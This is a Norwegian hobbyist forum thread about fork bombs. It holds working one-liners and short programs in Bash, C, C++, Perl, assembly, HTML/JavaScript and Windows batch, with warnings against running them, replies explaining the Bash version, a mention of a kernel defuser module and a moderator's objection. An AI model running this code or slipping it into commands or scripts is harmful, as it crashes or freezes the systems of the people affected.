Gå til innhold

Forkbombs


Anbefalte innlegg

Vet ikke helt hvor linuxspesifikt dette er, men syns allikevel dette er interessant nok til at jeg poster det :yes:

 

En forkbomb er et program eller et skript som ustoppelig lager nye prosesser til CPU-loaden er så tung at maskinen tvinges til å stoppe opp.

 

A fork bomb is described as a program or shell script which (either intentionally or accidently) creates new processes repeatedly using the fork() system call. New processes are created so fast that within no time the process table gets filled up and the system comes to a

grinding halt.

 

Etter at mohuhau @ EFNet fant en forkbomb-oneliner som mange av oss på #hw.no/linux @ EFNet gikk på (inkludert meg :lol:) begynte vi å diskutere dette emnet, og til slutt endte vi opp med forkbombs på seks forskjellige språk :D

 

Advarsel: Dere må for all del ikke finne på å kjøre noen av disse kodene, da de kommer til å kræsje maskina fullstendig :D

 

BASH (Funker på mange andre skall)

:(){ :|:& };:

jaromil

A forkbomb (see related project descriptions) implemented as a single-line/13 characters Unix shell script. In other words: You just have to type these 13 characters (which superficially resemble smilies or ASCII art) on the command line/the terminal window of any computer running a Unix-like operating system:

 

: (){ :|:& };:

 

The most elegant forkbomb code ever written.

 

C og C++

main()

{

       while (1)

       fork();

}

 

C

#include <stdio.h>

#include <signal.h>



int

main (void)

{sigset_t set;

struct timespec timespec = {0, 0};

sigfillset (& set);

while (1)



fork();

sigtimedwait (& set, NULL, & timespec);



return (0);

}

 

Perl

perl -e 'fork while 1'

 

Assembly

section .text

       global       _start



_start:

       mov          al, 2

       int          0x80

       jmp SHORT    _start

 

HTML / Javascript

 

Denne sida...

<html>

<head>



<title>Fork Bomb!</title>



<script language="JavaScript">



 function fork() {



 	window.open('javascript:"<html><head><title>Fork Bomb!</title></head><body onunload="javascript:window.open(window.location);window.open(window.location)" onload="javascript:window.open(window.location);window.open(window.location)"></body></html>"');



 }



</script>



</head>

<body onload="javascript:fork()"></body>

</html>

 

Kunstverk.

 

Det finnes også en rekke artikler om dette..

 

Se forøvrig verdens farligste desktop :D

 

MarcelSB

Lenke til kommentar
Videoannonse
Annonse

:(){ :|:& };:

 

Er dessverre ikke SÅ dreven i bash, kan noen forklare hva som egentlig gjøres her?

 

 

Når det gjelder C-koden så kan jeg som en kuriositet nevne at da vi på universitetet skulle lære interprosess-kommunikasjon i C, fikk vi streng beskjed om at det ikke var lov å bruke fork(). Isteden hadde foreleseren laget en egen versjon - het vel safe_fork() eller noe i den duren. Der var det nemlig lagt inn begrensning på antall prosesser som kunne opprettes til 5 hvis jeg husker riktig. De var lure og tok ingen sjangser, er tross alt lett å programmere dette feil :)

Lenke til kommentar

Det som gjøres:

 

:()

Deklarerer funksjonen ":"

{ :|:& };

Kroppen til funksjonen ":" som består av kalling til egen funksjon og piping av kalling til egen funksjon til en bakgrunnsprosess.

:

Kaller opp funskjonen ":" igjen når funksjonen er ferdig utført.

 

Altsa en evig løkke som produserer prosesser i all evighet :D

 

MarcelSB

Lenke til kommentar

for de som er innterressert finnes det en kur mot alt tydeligvis gaffel bomber også:

 

http://rexgrep.tripod.com/rexfbd.htm

 

Fork Bomb Defuser (rexFBD) allows you to configure the max_forks_per_second and max_tasks_per_user parameters, at the time of loading the module. Any possible Fork Bomb is detected using these parameters and is defused (deactivated) in real time. The uid of the user who started it, as well as the time it was started is logged in /var/log/messages for the system administrator to take action

Lenke til kommentar

frankcc: Du får legge inn en sperre på den koden eller noe sånn... (jeg har shell hos han :D)

 

i C++ ser koden slik ut:


#include <unistd.h>



int main ()

{

while (1)

{

fork();

}

}

Kjørte den der, gkrellm viste full cpu-load, og 'ps', pkill, killall og alle disse (det var bare de jeg prøvde) klagde over at "fork" var utilgengelig.

Det som er rart er at jeg ikke kunne merke forskjell i bruk av systemet ( vel og merke de programmene som var åpne). Dette kan jo ha noe med å gjøre at jeg kjører en betakjerne nå, og at fork() er bedre implementert der. Eller så har det noe med at den er preemtive.

Lenke til kommentar

loka litt rundt på google.com og fant to skumle perl komandoer:

 

perl -MNet::Dict -le"print qq,@{$_}, for @{Net::Dict->new('dict.org')->define(shift)}" fork

 

 

perl -MNet::Dict -le"print qq,@{$_}, for @{ Net::Dict->new('dict.org')->define('fork')}"

 

veit ikke helt hvor fristende de er å prøve, siden jeg ikke har så altfor mye greie på perl.

Lenke til kommentar
  • 2 uker senere...

Red amn:

 

Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket.

 

Og ja Fork bomben for Windows funker, maskinen krasjet ikke men nå er det mye som ikke fungerer lenger.

Jeg sikter da til lenken "denne siden..", slike kan godt ha det bedre navn på.

 

*jeg ville lagt til noen smilier her men det funker ikke*

Lenke til kommentar

a:

start $0

start $0

goto a:

 

Trodde det ville gjøre noe forskjell men den gang ei.

Anyway, her her screenshot (tatt gjennom vnc) for denne "forkbomb'en" kjørt på en WinXP, P3 800, 512MB RAM.

Screenshot tatt gjennom vnc, pga var umulig å få ting til å reagere som jeg ville på den gitte maskina, selv om den aldri kræsja helt.

 

forkonwinxp.jpg

 

-Dante

Lenke til kommentar
  • 4 uker senere...
Noen som tør teste http://www.pastebin.org/index.php?page=sho...&key=77fdficc1a ?

 

Ja, jeg kunne ha gjort det på alfons om jeg ville Velmont, men da hadde irssi lagget  :smile:

 

gadd ikke prøve på min egen server, men hva har man vel ikke gratis webplass rundt om kring til, uansett så fikk jeg denne beskjeden:

Fatal error: Call to undefined function: pcntl_fork() in /home/p/ph/phahome/public_html/fork.php on line 4

 

sjekket på google.com og fant ut at "pcntl_fork()" først kom i php 4.1.0, så den serveren jeg testa på har vel eldre da...

Lenke til kommentar
Red amn:

 

Lenker som peker til ting og tang som ødelegger datamaskinen og eller forrorsaker "terror" er heller uønsket.

 

Det er sikkert fint det, men naa finnes det noe der ute som heter "virkeligheten". Dette "virkeligheten" blir stadig avsloert av saakalte "whistleblowers".

 

Skulle gjerne skrevet mer om dette her, men lar det begrense seg til at jeg gjerne opplyser moderatorene om at deres fisefine innstilling er heller lite interessant.

Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...